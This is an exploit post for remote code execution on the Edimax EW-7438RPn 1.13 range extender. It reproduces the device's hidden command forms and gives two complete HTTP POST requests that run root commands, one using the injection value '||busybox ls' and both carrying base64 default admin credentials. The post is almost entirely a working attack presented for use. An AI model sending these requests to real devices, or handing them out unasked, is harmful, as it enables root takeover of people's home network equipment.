Edimax EW-7438RPn 1.13 Remote Code Execution

2020.04.26
Credit: Besim Altinok
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Edimax EW-7438RPn 1.13 - Remote Code Execution # Date: 2020-04-23 # Exploit Author: Besim ALTINOK # Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/ # Version:1.13 # Tested on: Edimax EW-7438RPn 1.13 Version ------ NOTE: This device configurated with root permissions. So you can run the command as root Here is the detail(s) of the RCE(s) 1- Content of the mp.asp file <form action="/goform/mp" method="POST" name="mp"> <input type="text" name="command" value="">&nbsp;<input type="submit" value="GO"> <input type="hidden" name="getID" value="">&nbsp; <input type="hidden" name="getID" value="">&nbsp; </form> RCE Detail: ------------------------------- POST /goform/mp HTTP/1.1 Host: 192.168.2.2 User-Agent: Mozilla/5.0 ********************* Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 25 DNT: 1 Authorization: Basic YWRtaW46MTIzNA== Connection: close Cookie: language=1 Upgrade-Insecure-Requests: 1 command=||busybox+ls&getID= ------------------------------- 2- Content of the syscmd.asp <form action=/goform/formSysCmd method=POST name="formSysCmd"><table border=0 width="500" cellspacing=0 cellpadding=0> <tr><font size=2> This page can be used to run target system command.</tr> <tr><hr size=1 noshade align=top></tr> <tr> <td>System Command: </td> <td><input type="text" name="sysCmd" value="" size="20" maxlength="50"></td> <td> <input type="submit" value="Apply" name="apply" onClick='return saveClick()'></td></form> RCE Detail: ------------------------------- POST /goform/formSysCmd HTTP/1.1 Host: 192.168.2.2 User-Agent: Mozilla/5.0 ********************* Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 11 DNT: 1 Authorization: Basic YWRtaW46MTIzNA== Connection: close Cookie: language=1 Upgrade-Insecure-Requests: 1 sysCmd="command to here"


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